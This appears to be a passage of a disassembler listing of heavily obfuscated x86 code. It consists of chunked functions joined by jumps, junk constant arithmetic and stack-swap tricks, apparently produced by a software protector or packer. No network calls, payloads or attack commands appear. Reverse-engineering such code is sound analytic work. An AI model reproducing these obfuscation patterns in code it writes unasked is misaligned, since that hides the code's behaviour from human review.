jmp loc_599649 ; --------------------------------------------------------------------------- loc_5ACA71: ; CODE XREF: sub_5AA2D1-443Aj pop edx jmp loc_5AAFE0 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_5ACA77: ; CODE XREF: sub_5992DA+39CCj ; sub_59A479:loc_5A4817j pop eax jmp loc_5AA8B4 ; END OF FUNCTION CHUNK FOR sub_59A479 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5ACA7D: ; CODE XREF: sub_5992DA+33EAj mov [esp+30h+var_32+2], ebx jmp loc_59A0AC ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_5ACA85: ; CODE XREF: sub_5A2E28+450Bj sub ebp, 0A020FFCh add ecx, ebp pop ebp jmp sub_599360 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ACA93: ; CODE XREF: sub_5AA2D1+40D0j xor al, 51h sub al, 0BDh and al, 0ECh jmp loc_5A835F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A96D8 loc_5ACA9E: ; CODE XREF: sub_5A96D8-100C3j add ebx, esi pop esi add ebx, 4 xchg ebx, [esp+4+var_4] pop esp movzx eax, al jmp loc_59C7DC ; END OF FUNCTION CHUNK FOR sub_5A96D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5ACAB3: ; CODE XREF: sub_59C979+D078j jmp loc_5AA99F ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A317A loc_5ACAB8: ; CODE XREF: sub_5A317A+BB53j add esp, 4 xor esi, [esp-4+arg_0] xor [esp-4+arg_0], esi xor esi, [esp-4+arg_0] mov esp, [esp-4+arg_0] imul cl movzx cx, ah push small 7F2h mov word ptr [esp-6+arg_0+2], cx movzx cx, al push cx pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A317A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ACAE1: ; CODE XREF: sub_5AA2D1-1F34j mov edi, esp push ecx mov ecx, 52474DD6h not ecx sub ecx, 0FFFFFFFFh xor ecx, 0ADB8B22Eh add edi, ecx pop ecx add edi, 4 xchg edi, [esp-12h+arg_C+2] jmp loc_59AC13 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5ACB08: ; CODE XREF: sub_5B01F7-F1BFj jg loc_5AB5FC shl ecx, 6 add ecx, 0BE830E84h push ecx add [esp+18h+var_18], 12BF40ADh pop eax sub eax, 12BF40ADh pop ecx jmp sub_5AF2DF ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5B27 loc_5ACB2B: ; CODE XREF: sdfs____:0059A3FFj ; sub_5A5B27+594Aj mov [esp-4+arg_0], esi push [esp-4+arg_4] mov esi, [esp+0] push 15Bh mov [esp+4+var_4], ebx push esp pop ebx push edi mov edi, 2FC5229Eh shr edi, 6 shr edi, 1 add edi, 0FFA075BFh jmp loc_5A1336 ; END OF FUNCTION CHUNK FOR sub_5A5B27 ; --------------------------------------------------------------------------- loc_5ACB55: ; CODE XREF: sdfs____:005A03D4j mov eax, esp push ecx mov ecx, 12D772F6h xor ecx, 70270853h jmp loc_5A6778 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ACB68: ; CODE XREF: sub_5AA2D1-726Ej push 534Fh mov [esp+4+var_4], ecx mov ecx, 0 add ecx, ebx mov [ecx], al pop ecx push dword ptr [esp+0] pop ebx jmp sub_59C1E9 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5ACB83 proc near ; CODE XREF: sub_5AA2D1-62D0j ; sub_5A503A+79C0j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059C0F1 SIZE 0000000C BYTES sub esp, 4 mov [esp+4+var_4], ebx mov ebx, esp add ebx, 4 jmp loc_59C0F1 sub_5ACB83 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ACB96: ; CODE XREF: sub_5AA2D1+1260j mov edi, 0B86661h sub eax, edi pop edi add eax, 405F21C7h pop ebp sub esp, 4 mov [esp-10h+arg_C], ebx push 0D42h jmp loc_5A2A94 ; --------------------------------------------------------------------------- loc_5ACBB7: ; CODE XREF: sub_5AA2D1+41ADj dec ch push ax mov ah, ch not ah mov ch, ah pop ax sub esp, 2 mov word ptr [esp-8+arg_4], bx jmp loc_5A58CF ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- push 53947h mov eax, [esp] push 81Eh mov [esp], eax push 70E4h jmp loc_5ADBFB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_5ACBE9: ; CODE XREF: sub_59A479+131CAj pop [esp+8+var_8] push edi mov edi, 4 jmp loc_5AE944 ; END OF FUNCTION CHUNK FOR sub_59A479 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A489F loc_5ACBF7: ; CODE XREF: sub_5A489F+3DD1j add esi, 4 jmp sub_5AE7B8 ; END OF FUNCTION CHUNK FOR sub_5A489F ; --------------------------------------------------------------------------- loc_5ACBFF: ; CODE XREF: sdfs____:005AF353j neg edi jmp loc_5B0165 ; --------------------------------------------------------------------------- loc_5ACC06: ; CODE XREF: sdfs____:0059C10Bj push eax mov al, 85h sub al, 47h sub al, 0CEh and bh, al pop eax add bh, 0DAh jb loc_5A9659 sub bh, 4Fh jmp loc_59DE95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2065 loc_5ACC21: ; CODE XREF: sub_5A2065+2701j xchg ebx, [esp+0] mov esp, [esp+0] push 26Eh mov [esp-8+arg_4], ebx sub esp, 4 mov [esp-4+arg_0], eax push ebx mov bh, 6Fh jmp sub_5A9CF2 ; END OF FUNCTION CHUNK FOR sub_5A2065 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ACC40: ; CODE XREF: sub_5AA2D1-3161j add eax, 3EFB5073h jmp loc_5A7322 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5ACC4A: ; CODE XREF: sub_5992DA+176Dj shr edx, 6 sub edx, 5CF9548Ch jb loc_5AF568 dec edx jle loc_5A4B3F jmp sub_5A5735 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB3DB loc_5ACC65: ; CODE XREF: sub_5AB3DB-2DA7j jmp loc_5A3D4A ; END OF FUNCTION CHUNK FOR sub_5AB3DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5ACC6A: ; CODE XREF: sub_5A118F+8D20j push eax mov ah, 0BCh add ah, 0FFh jmp loc_5ADE28 ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ACC75: ; CODE XREF: sub_5AA2D1-59F5j pop esp push edx not dword ptr [esp+0] pop edx shr edx, 2 sub edx, 2C2328E0h jmp loc_59953D ; --------------------------------------------------------------------------- loc_5ACC89: ; CODE XREF: sub_5AA2D1+5E39j neg edx js loc_5A3B7F jmp loc_59D0C7 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- xor edx, 68703542h mov ah, 0D3h pop esp ; START OF FUNCTION CHUNK FOR sub_59D37E loc_5ACC9F: ; CODE XREF: sub_59D37E+FD5j mov ch, dl pop edx shr ch, 2 dec ch push edx jmp loc_5A07B3 ; END OF FUNCTION CHUNK FOR sub_59D37E ; --------------------------------------------------------------------------- loc_5ACCAD: ; CODE XREF: sdfs____:005A3717j mov ch, al jmp loc_5AE1A2 ; --------------------------------------------------------------------------- loc_5ACCB4: ; CODE XREF: sdfs____:005A1751j add esi, 0F032ADFh jmp loc_59FD5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5ACCBF: ; CODE XREF: sub_5AA2D1-C941j ; sub_5992DA+A235j pop esp mov [esp+1Ah+var_1C+2], edi jmp loc_5A6A0B ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5ACCC8: ; CODE XREF: sub_59EE3E+3EC3j mov ecx, [esp+4+var_4] add esp, 4 jmp loc_5A0499 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B0266 loc_5ACCD6: ; CODE XREF: sub_5B0266-A9B7j pop edx xor eax, [esp+4+var_4] xor [esp+4+var_4], eax xor eax, [esp+4+var_4] mov esp, [esp+4+var_4] or [esp-4+arg_0], eax pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5B0266 ; --------------------------------------------------------------------------- loc_5ACCEC: ; CODE XREF: sdfs____:005AB033j pop esi push ecx mov ecx, 6EDF5392h sub ecx, 1341350Eh shl ecx, 5 jmp loc_5AC06B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAE5E loc_5ACD01: ; CODE XREF: sub_5AAE5E+55F8j jz loc_5A501B xor ecx, 4BCCCF90h mov eax, ecx pop ecx and ebx, eax push dword ptr [esp+0] pop eax jmp sub_5A169C ; END OF FUNCTION CHUNK FOR sub_5AAE5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB762 loc_5ACD1B: ; CODE XREF: sub_5AB762-57E3j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+0Ch+var_C] pop esp jmp loc_5AB5C6 ; END OF FUNCTION CHUNK FOR sub_5AB762 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2166 loc_5ACD30: ; CODE XREF: sub_5A2166+1j push [esp+arg_0] pop ebp pop dword ptr [esp+0] jmp loc_59A803 ; END OF FUNCTION CHUNK FOR sub_5A2166 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5ACD3D: ; CODE XREF: sub_5992DA:loc_5AC757j push 4050h mov [esp-4+arg_0], esi mov esi, 0C2978D91h xor edx, esi mov esi, [esp-4+arg_0] add esp, 4 jmp loc_5AF2ED ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA5F6 loc_5ACD5A: ; CODE XREF: sub_5AA5F6+7j push cx mov cl, 0D2h add al, cl pop cx pop ebx jmp loc_59F0C7 ; END OF FUNCTION CHUNK FOR sub_5AA5F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A405F loc_5ACD68: ; CODE XREF: sub_5A405F+AFFDj xor edx, [esp+8+var_8] xor [esp+8+var_8], edx jmp loc_5AE783 ; END OF FUNCTION CHUNK FOR sub_5A405F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F4D2 loc_5ACD73: ; CODE XREF: sub_59F4D2-1317j pop ebp push esi mov esi, 0D3284065h add ecx, 3DDC0C4Bh sub ecx, esi sub ecx, 3DDC0C4Bh jmp loc_5A6810 ; END OF FUNCTION CHUNK FOR sub_59F4D2 ; --------------------------------------------------------------------------- loc_5ACD8D: ; CODE XREF: sdfs____:005AD152j mov edi, 4 add ebp, edi pop edi xchg ebp, [esp] pop esp add edi, 2 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov ax, [esp] sub esp, 4 mov [esp], eax sub esp, 4 jmp loc_5997E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABB65 loc_5ACDBA: ; CODE XREF: sub_5ABB65-C62Aj mov edx, 2 push ecx mov ecx, 71DE7EECh sub ebx, ecx pop ecx add ebx, edx push ebp mov ebp, 1A97F9Bh neg ebp sub esp, 4 jmp loc_5A566C ; END OF FUNCTION CHUNK FOR sub_5ABB65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5ACDDA: ; CODE XREF: sub_5A6BBC-59A8j mov ebp, 16EB1234h sub ebp, 0BCA5A701h sub edi, ebp pop ebp pop edx push eax mov eax, 2F8A7BFBh or eax, 780C5498h sub eax, 7F8E7FF9h sub edi, eax jmp loc_5A8317 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ACE00: ; CODE XREF: sub_599739+54j ; sub_5AA2D1:loc_59F533j sub di, 9218h sub bp, di pop edi add bp, si add bp, 6E29h pop esi xor bp, 35F8h jb loc_5B0233 xor bp, 0FC7h jno loc_5A1427 push ax jmp loc_5AEA81 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- push ecx mov ecx, 4 push ebx ; START OF FUNCTION CHUNK FOR sub_5A491A loc_5ACE36: ; CODE XREF: sub_5A491A-75F4j mov bl, 82h xor dh, bl pop ebx sub al, dh jmp loc_5AC0FE ; END OF FUNCTION CHUNK FOR sub_5A491A ; --------------------------------------------------------------------------- loc_5ACE42: ; CODE XREF: sdfs____:005A4F9Dj mov edx, 3EE76B96h sub edx, 7A392ECFh sub edx, 1 and edx, 3B511257h jb loc_5AD866 push 35AFh mov [esp], eax push esi push ecx mov ecx, 77CD456Eh mov esi, 0EAEDA214h jmp loc_5AADE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DD36 loc_5ACE78: ; CODE XREF: sub_59DD36+B0ACj push eax mov eax, 4 add ebp, eax pop eax add ebp, 4 push 4CF8h mov [esp+4+var_4], ebp push dword ptr [esp+4] mov ebp, [esp+8+var_8] add esp, 4 jmp loc_59E30E ; END OF FUNCTION CHUNK FOR sub_59DD36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ACE9E: ; CODE XREF: sub_5AA2D1-D948j mov dx, word ptr [esp-0Ch+arg_8] add esp, 2 sub al, 0AAh sub al, cl jmp loc_59A458 ; --------------------------------------------------------------------------- loc_5ACEB1: ; CODE XREF: sub_5AA2D1-42B5j mov edi, 302D3C4Ah jmp loc_5A7B57 ; --------------------------------------------------------------------------- loc_5ACEBB: ; CODE XREF: sub_5AA2D1-10FFCj pop edx jmp loc_5AC7EF ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4D9D loc_5ACEC1: ; CODE XREF: sub_5A4D9D-7C78j add edx, 0E0A08407h jmp loc_5A0F92 ; END OF FUNCTION CHUNK FOR sub_5A4D9D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_5ACECC: ; CODE XREF: sub_59A7E7+2Cj mov dl, 0A3h jmp loc_59FC67 ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5ACED3: ; CODE XREF: sub_5A7BA0-A547j mov [esp+4+var_4], esp add [esp+4+var_4], 4 push [esp+4+var_4] pop ebx add esp, 4 push eax jmp sub_5AF533 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABEF6 loc_5ACEE7: ; CODE XREF: sub_5ABEF6+2C6Fj sub ebp, 6B6A2D70h push ecx mov ecx, 20645904h add ecx, 2967016Dh add ecx, 2B09F2FAh add ebx, ecx pop ecx add ebx, ebp sub ebx, 74D54D6Bh pop ebp jmp loc_5A737A ; END OF FUNCTION CHUNK FOR sub_5ABEF6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8215 loc_5ACF10: ; CODE XREF: sub_5A8215+2FAj mov [esp+4+var_4], eax jmp loc_5A8523 ; END OF FUNCTION CHUNK FOR sub_5A8215 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ACF18: ; CODE XREF: sub_5AA2D1+4231j add esp, 4 add eax, 4 push ebp push esp pop ebp push edi mov edi, 4 add ebp, edi pop edi sub ebp, 4 jmp loc_5A543C ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_5ACF3A: ; CODE XREF: sub_5A2E28+4520j add ecx, 13565F43h add ecx, ebx sub ecx, 13565F43h pop ebx xchg ecx, [esp-4+arg_0] mov esp, [esp-4+arg_0] push esi push eax jmp loc_599D4F ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_5ACF56: ; CODE XREF: sub_59A7E7+5A0Aj add esp, 4 push ebx mov ebx, 4 add ebp, ebx jmp loc_5A6866 ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5ACF66: ; CODE XREF: sub_59D6B8+EFD9j pop dword ptr [edi+20h] pop ebx push 0B8Eh mov [esp-0Ch+arg_8], ecx jmp loc_5A5944 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ACF77: ; CODE XREF: sub_5AA2D1-563Ej add esi, 10012552h jmp loc_5A90E6 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F3B6 loc_5ACF82: ; CODE XREF: sub_59F3B6+Fj mov ebx, edx pop edx push edx mov edx, 66BF1038h and ebx, edx jmp loc_5AC70F ; END OF FUNCTION CHUNK FOR sub_59F3B6 ; --------------------------------------------------------------------------- mov cx, [esp] push 608Eh mov [esp], edi jmp loc_59BADB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ACFA3: ; CODE XREF: sub_5AA2D1-715Cj pop edx push dword ptr [esp+0] mov ebx, [esp+4+var_4] push 577Ah mov [esp+8+var_8], ecx jmp loc_5A1393 ; --------------------------------------------------------------------------- loc_5ACFB7: ; CODE XREF: sub_5AA2D1-3579j mov ebx, 4 add edi, ebx mov ebx, [esp-28h+arg_24] add esp, 4 xchg edi, [esp-2Ch+arg_28] mov esp, [esp-2Ch+arg_28] xor [esp-2Ch+arg_28], eax jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_5ACFD2: ; CODE XREF: sub_59A26C+1561Bj mov edi, [esp-10h+arg_C] push ecx mov ecx, esp push eax mov eax, 24DB15C1h sub eax, 5AF911C9h not eax sub eax, 361DFC03h jmp loc_5A7B45 ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ACFEF: ; CODE XREF: sub_5AA2D1-2B0Dj push 21B2h jmp loc_5A17E0 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5ACFF9: ; CODE XREF: sub_59CBE1+20DCj dec eax jnz loc_59CF37 inc eax sub eax, 2C7B0B59h add al, 6Bh mov ch, ch loc_5AD00A: ; CODE XREF: sub_5997FD+2151j xor ebx, 7081369h jmp loc_5AE7AD ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; =============== S U B R O U T I N E ======================================= sub_5AD015 proc near ; CODE XREF: sub_5A0FFF-FFCj ; DATA XREF: sdfs____:00598F58o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005ABCE1 SIZE 0000000D BYTES push 7C7Dh mov [esp+4+var_4], ebp jmp loc_5ABCE1 sub_5AD015 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5AD022: ; CODE XREF: sub_59CBE1+11BD2j add eax, ebx jmp loc_5AB790 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA83C loc_5AD029: ; CODE XREF: sub_5AA83C-C4A6j mov esp, [esp+0] mov [esp+0], ecx jmp sub_5A9FFB ; END OF FUNCTION CHUNK FOR sub_5AA83C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5AD034: ; CODE XREF: sub_5A2E41-DEDj mov ecx, 7DA1383Fh jmp loc_5A94A7 ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD243 loc_5AD03E: ; CODE XREF: sub_5AD243-F7B9j pop eax jmp loc_59E811 ; END OF FUNCTION CHUNK FOR sub_5AD243 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A917C loc_5AD044: ; CODE XREF: sub_5A917C+46C9j add ecx, 4 add ecx, 4 xchg ecx, [esp+10h+var_10] pop esp push eax push esp pop eax push 23AFh mov [esp+14h+var_14], ebx mov ebx, 4 add eax, ebx pop ebx jmp loc_59C43B ; END OF FUNCTION CHUNK FOR sub_5A917C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AD069: ; CODE XREF: sub_59C979:loc_5A56C9j add cl, 0B6h jno loc_5AD49F or cl, 76h jmp loc_5A4CA5 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- mov ebx, eax push ebx ; START OF FUNCTION CHUNK FOR sub_5A8B3E loc_5AD07D: ; CODE XREF: sub_5A8B3E+25F9j mov [esp+4+var_4], ebx push esp mov ebx, [esp+8+var_8] jmp loc_5A8B21 ; END OF FUNCTION CHUNK FOR sub_5A8B3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AD089: ; CODE XREF: sub_5AA2D1-27FDj add ebx, edi jmp loc_59A0CA ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5AD090: ; CODE XREF: sub_5A6BBC-4766j inc ecx add ecx, 2469242Bh and ecx, 69B41F6Fh xor ecx, 0D15012Eh xor ebx, ecx pop ecx add ebp, ebx pop ebx add ebp, 4 xchg ebp, [esp+0Ch+var_C] pop esp push 6698h mov [esp+0Ch+var_C], edx push ebp mov ebp, 5837191Bh mov edx, 0A7C8E6E9h add edx, ebp pop ebp push ebx mov ebx, 5A470658h xor ebx, 9415D0h sub ebx, 8DA855h add edi, ebx pop ebx jmp loc_5A1201 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AD0E3: ; CODE XREF: sub_5AA2D1-78C6j mov word ptr [esp-1Ah+arg_14+2], dx mov dl, 2Eh shr dl, 2 jmp loc_5A5DD1 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A633D loc_5AD0F1: ; CODE XREF: sub_5A633D-AE7Aj mov ebp, ecx pop ecx mov edx, ebp jmp loc_5A6FB7 ; END OF FUNCTION CHUNK FOR sub_5A633D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9B1D loc_5AD0FB: ; CODE XREF: sub_5A9B1D-24E4j mov eax, [esp+0] push 7E84h mov [esp-8+arg_4], ebp mov ebp, esp add ebp, 4 push ebx mov ebx, esp add ebx, 4 sub esp, 4 mov [esp+0], esi mov esi, 45D523A1h shl esi, 2 jp loc_5A083F xor esi, 17548E80h push eax mov eax, 742F2D08h pop edx loc_5AD13B: ; CODE XREF: sub_59E333+5225j add eax, 5C8C2853h jmp sub_59FC02 ; END OF FUNCTION CHUNK FOR sub_5A9B1D ; --------------------------------------------------------------------------- loc_5AD145: ; CODE XREF: sdfs____:005A4F65j mov esi, [esp] push ebp mov ebp, esp add ebp, 4 push edi jmp loc_5ACD8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5AD157: ; CODE XREF: sub_5A79BE-C26Cj sub esi, 9BD4ECFh jmp loc_5ABF68 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F2D1 loc_5AD162: ; CODE XREF: sub_59F2D1-28EAj sub [esp+10h+var_8], edi pop edi sub [esp+0Ch+var_8], 23173A99h pop edx mov ebp, [esp+8+var_8] jmp loc_59A5C2 ; END OF FUNCTION CHUNK FOR sub_59F2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AD178: ; CODE XREF: sub_5AA2D1-583Fj sub eax, edx pop edx xchg eax, [esp-10h+arg_C] pop esp mov [esp-14h+arg_10], edi push [esp-14h+arg_14] pop edi pop [esp-14h+arg_10] mov esp, [esp-18h+arg_14] sub esp, 4 mov [esp-14h+arg_10], esi push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_59B39B ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD213 loc_5AD1A4: ; CODE XREF: sub_5AD213-79FBj add esi, ebx sub esi, 30524E56h pop ebx xor esi, [esp+8+var_8] xor [esp+8+var_8], esi xor esi, [esp+8+var_8] jmp loc_5A66EA ; END OF FUNCTION CHUNK FOR sub_5AD213 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2789 loc_5AD1BB: ; CODE XREF: sub_5A2789+6j mov [esp+4+var_4], esi mov esi, 45EE5940h add edi, esi mov esi, [esp+4+var_4] add esp, 4 or edi, 286574C7h jmp loc_5A8D76 ; END OF FUNCTION CHUNK FOR sub_5A2789 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AD1D9: ; CODE XREF: sub_5AA2D1-F52Bj jbe loc_5AA281 neg ah jmp loc_5A44C1 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- mov ebx, [esp] mov eax, edi ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5AD1EB: ; CODE XREF: sub_5A7BA0+8527j push edi push 11A4h jmp loc_5A9866 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE9FA loc_5AD1F6: ; CODE XREF: sub_5AE9FA-D3FFj jnz loc_5A998F and edx, 5F6612BCh xor edx, 4EB2269Bh pop esi ; END OF FUNCTION CHUNK FOR sub_5AE9FA ; START OF FUNCTION CHUNK FOR sub_5AFA26 loc_5AD209: ; CODE XREF: sub_5AFA26+E6j push [esp+0Ch+var_C] pop eax push edi jmp loc_59AB2C ; END OF FUNCTION CHUNK FOR sub_5AFA26 ; =============== S U B R O U T I N E ======================================= sub_5AD213 proc near ; DATA XREF: sdfs____:00598F8Co var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059F73A SIZE 00000051 BYTES ; FUNCTION CHUNK AT 005A1D4F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005A44DB SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A5817 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A66EA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A6976 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AB1F8 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005AD1A4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005AF6C9 SIZE 00000013 BYTES push ebx push 4AE3711Fh pop ebx dec ebx jle loc_5AF6C9 push edx mov edx, 48832CF8h xor edx, 3FB02F99h add ebx, edx mov edx, [esp+8+var_8] add esp, 4 sub ebx, 0C2167381h and [edi+1Ch], ebx jmp loc_5A1D4F sub_5AD213 endp ; =============== S U B R O U T I N E ======================================= sub_5AD243 proc near ; CODE XREF: sub_59BA35+1C4Dj var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_10 = dword ptr 14h ; FUNCTION CHUNK AT 005994C3 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059A4F9 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059A63F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059AAE5 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059B7B8 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059D1F5 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0059DA68 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0059E811 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A1F55 SIZE 